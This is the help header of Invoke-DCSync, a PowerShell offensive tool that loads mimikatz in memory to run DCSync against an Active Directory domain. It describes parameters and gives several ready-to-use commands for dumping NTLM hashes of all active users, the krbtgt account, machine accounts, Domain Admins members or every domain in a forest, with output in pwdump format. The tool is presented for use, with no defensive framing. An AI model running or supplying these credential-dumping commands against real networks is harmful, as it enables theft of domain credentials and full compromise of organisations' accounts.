.SYNOPSIS
Uses dcsync from mimikatz to collect NTLM hashes from the domain.

.DESCRIPTION
Uses a mimikatz dll in memory to call dcsync against a domain. By default, it will enumerate all active domain users along with the krbtgt, and print out their current NTLM hash. Thanks to @JosephBialek for the Invoke-ReflectivePEinjection from which this is heavily based. Thanks to @gentilkiwi for mimikatz, we all love you :) Big ups to @harmj0y for the powerview project. The Get-NetUser and Get-NetComputer code is ripped for this script.
.PARAMETER Users
Optional, An array of usernames to query hashes for (Passable on the Pipeline). krbtgt will automatically get added
.PARAMETER GroupName
Optional, groupname to query for users.
.PARAMETER UserFilter
A customized ldap filter string to use to query for users, e.g. "(description=*admin*)"
.PARAMETER GetComputers
Will pull the machine hashes as well. Default is false
.PARAMETER OnlyActive
Will only pull users whos account is active on the domain. Default is true
.PARAMETER PWDumpFormat
Formats the output in 'user:id:lm:ntlm:::' format. Default is false
.PARAMETER Domain
The domain to DCSync.
.PARAMETER DomainController
The specific domain controller to DC sync.
.PARAMETER DumpForest
Execute the user target options on ALL domains in the current forest.
Only works from an EA context ;)
.PARAMETER AllData
Prints out raw mimikatz output. Default is false
.EXAMPLE
> Invoke-DCSync -PWDumpFormat
Returns all active user hashes in 'user:id:lm:ntlm:::' format.
.EXAMPLE
> Invoke-DCSync -OnlyActive:$false -GetComputers
Returns all user and computer object hashes in the domain
.EXAMPLE
> Get-NetGroupMember -GroupName "EvilPeople" | % {$_.MemberName} | Invoke-DCSync
Returns the user hashes for account in the EvilPeople group
.EXAMPLE
> Invoke-DCSync -GroupName "Domain Admins" | ft -wrap -autosize
Returns the hashes from just the users in the "Domain Admins" group
.EXAMPLE
> Invoke-DCSync -UserFilter "(description=*admin*)" | ft -wrap -autosize
Returns the hashes from users with "admin" in their description.
.EXAMPLE
> Invoke-DCSync -DumpForest | ft -wrap -autosize
Returns user hashes from all domains in the forest.
.EXAMPLE
> Invoke-DCSync -DumpForest -Users @("krbtgt") | ft -wrap -autosize
Returns the krbtgt hashes from all domains in the forest.
